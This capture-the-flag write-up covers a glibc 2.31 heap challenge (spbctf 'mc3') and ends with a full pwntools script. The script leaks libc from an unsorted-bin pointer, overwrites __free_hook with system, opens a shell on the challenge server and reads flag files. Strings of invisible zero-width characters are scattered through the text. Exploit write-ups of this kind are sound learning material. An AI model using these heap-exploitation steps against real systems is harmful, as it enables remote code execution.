← Back to Writeups
CUSTOMMediumpwn

leak and write2 (mc3)

XESXOR9/2/20264 min read
#pwn#custom#medium#free_hook_overwrite#no_write_realloc_leak#system_binsh#unsorted_bin_leak#write_what_where#linux

leak and write2 (mc3)

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-03 | Status: Solved Techniques: free_hook_overwrite, no_write_realloc_leak, system_binsh, unsorted_bin_leak, write_what_where

Summary

Task: glibc 2.31 menu-driven heap allocator with fixed malloc(0x800), a delete that NULLs slots (no UAF), and an arbitrary 8-byte write-what-where option. Solution: leak libc via unsorted-bin fd by re-allocating a freed 0x810 chunk with size=0 (read loop skipped, fd survives) then puts it; overwrite __free_hook with system and free a '/bin/sh' chunk for a shell.

leak and write2 (mc3) — spbctf

Description

Mic Check: leak and write2 nc 109.233.56.90 11802

English summary: A menu-driven heap allocator (glibc 2.31, PIE, Full RELRO, NX, Canary, IBT/SHSTK). We are given mc3.elf and libc.so. The binary exposes an arbitrary write-what-where primitive but no obvious info leak — the leak must be crafted by abusing the allocation size parameter.

Analysis

Global state: array[10] of chunk pointers. Main loop is logic @ 0x1730.

Menu options:

  • 1 allocate (0x1300): ALWAYS malloc(0x800) — the requested size is only used as a read length, not the malloc size (rejected if > 0x7ff). Prints enter name:, then only if size > 0 reads size bytes byte-by-byte (stops on \n). When size <= 0 the read loop is skipped, so the freshly (re)allocated chunk's contents are left untouched. The pointer is stored in the first empty array slot.
  • 2 print (0x1848): puts(array[idx]).
  • 3 delete (0x18a0): free(array[idx]) and sets array[idx] = 0 — so there is no use-after-free (unlike sibling challenges mc4/mc5, whose delete did not NULL the slot).
  • 4 www (0x17cc): reads an address and a value in hex, then executes *(uint64_t*)addr = value — an arbitrary 8-byte write-what-where. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Prompt discipline: menu prompt Choose:; allocate prints Size? then enter name:; print/delete prompt Index?; www prompts enter address in hex: and enter value in hex:.

The leak trick — "use param for read" (matches the flag)

Because delete NULLs the slot, there is no UAF to leak with. The only leak primitive is the interaction between the fixed malloc(0x800) and the size parameter:

  1. malloc(0x800) yields a chunk of size 0x810, which is larger than the biggest tcache bin (0x410), so freeing it routes into the unsorted bin.
  2. When a chunk enters the unsorted bin, its fd is set to main_arena + 0x60, a libc pointer.
  3. Re-allocating the same chunk with size = 0 skips the read loop, so that main_arena + 0x60 value survives inside the chunk data.
  4. puts on the reused chunk leaks the pointer: libc_base = leak - 0x1ebbe0. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

A guard chunk is allocated between the target chunk and the top chunk to prevent consolidation into the top on free.

Solution

Full flow:

  1. alloc(A) → idx0 (the 0x810 chunk).
  2. alloc(guard) → idx1 (prevents top consolidation).
  3. delete(0) → chunk A into the unsorted bin; fd = main_arena+0x60.
  4. alloc(size=0) → returns the same freed chunk; read skipped, fd survives; reuses idx0.
  5. print(0) → puts leaks main_arena+0x60 → compute libc_base.
  6. www(__free_hook, system) — glibc 2.31 still has a writable __free_hook.
  7. alloc("/bin/sh\0") → idx2.
  8. delete(2) → free(ptr) → __free_hook(ptr) = system("/bin/sh") → shell. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Flag is read from /flag.txt (process runs as uid man).

libc 2.31 offsets used

SymbolOffset
system0x55410
__free_hook0x1eeb28
__malloc_hook0x1ebb70
main_arena+0x60 (unsorted bin head)0x1ebbe0
python
#!/usr/bin/env python3
"""mc3 'leak and write2' — glibc 2.31.
Leak: unsorted-bin fd via alloc/free/re-alloc(size=0)/print.
Write: www (arbitrary 8-byte write) -> __free_hook = system; free('/bin/sh')."""
from pwn import *
import sys
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

context.arch = 'amd64'
context.log_level = 'info'

libc = ELF('./libc.so')
HOST, PORT = '109.233.56.90', 11802

MAIN_ARENA_OFF = 0x1ebbe0   # main_arena+0x60 = unsorted bin head value

def start():
    return remote(HOST, PORT)

def alloc(p, size, data=b''):
    p.sendlineafter(b'Choose:', b'1')
    p.sendlineafter(b'Size?', str(size).encode())
    if size > 0:
        p.sendafter(b'enter name:', data)
        if len(data) < size:
            p.send(b'\n')

def show(p, idx):
    p.sendlineafter(b'Choose:', b'2')
    p.sendlineafter(b'Index?', str(idx).encode())
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def delete(p, idx):
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', str(idx).encode())

def www(p, addr, value):
    p.sendlineafter(b'Choose:', b'4')
    p.sendlineafter(b'enter address in hex:', hex(addr).encode())
    p.sendlineafter(b'enter value in hex:', hex(value).encode())

def exploit():
    p = start()

    # --- Phase 1: libc leak ---
    alloc(p, 0x100, b'A'*0x10)   # idx0 big-ish chunk (fixed malloc 0x800)
    alloc(p, 0x10, b'guard')     # idx1 guard (also malloc 0x800)
    delete(p, 0)                 # idx0 -> unsorted bin; fd=main_arena+0x60
    alloc(p, 0, b'')             # reuse freed chunk WITHOUT overwriting fd (size=0 skips read) -> idx0
    show(p, 0)                   # puts(chunk) leaks fd
    # read leak line
    leak_line = p.recvline().strip()
    while leak_line == b'':
        leak_line = p.recvline().strip()
    leak = u64(leak_line[:6].ljust(8, b'\x00'))
    log.info('leak raw = %r -> %#x', leak_line, leak)
    libc.address = leak - MAIN_ARENA_OFF
    log.success('libc base = %#x', libc.address)
    assert libc.address & 0xfff == 0, 'bad libc base align'
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    system = libc.sym.system
    free_hook = libc.sym.__free_hook
    log.info('system=%#x free_hook=%#x', system, free_hook)

    # --- Phase 2: __free_hook = system via www ---
    www(p, free_hook, system)
    log.info('wrote system into __free_hook')

    # --- Phase 3: trigger. allocate '/bin/sh', delete -> system('/bin/sh') ---
    # slots: idx0(reused) used, idx1 used -> next free slot is idx2
    alloc(p, 0x10, b'/bin/sh\x00')
    p.sendlineafter(b'Choose:', b'3')
    p.sendlineafter(b'Index?', b'2')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    p.sendline(b'echo PWNED_MARKER; id; cat /flag* 2>/dev/null; cat /home/*/flag* 2>/dev/null; ls -la /')
    import time; time.sleep(2)
    try:
        print(p.recv(4096).decode(errors='replace'))
    except Exception as e:
        print('recv err', e)
    p.interactive()

if __name__ == '__main__':
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍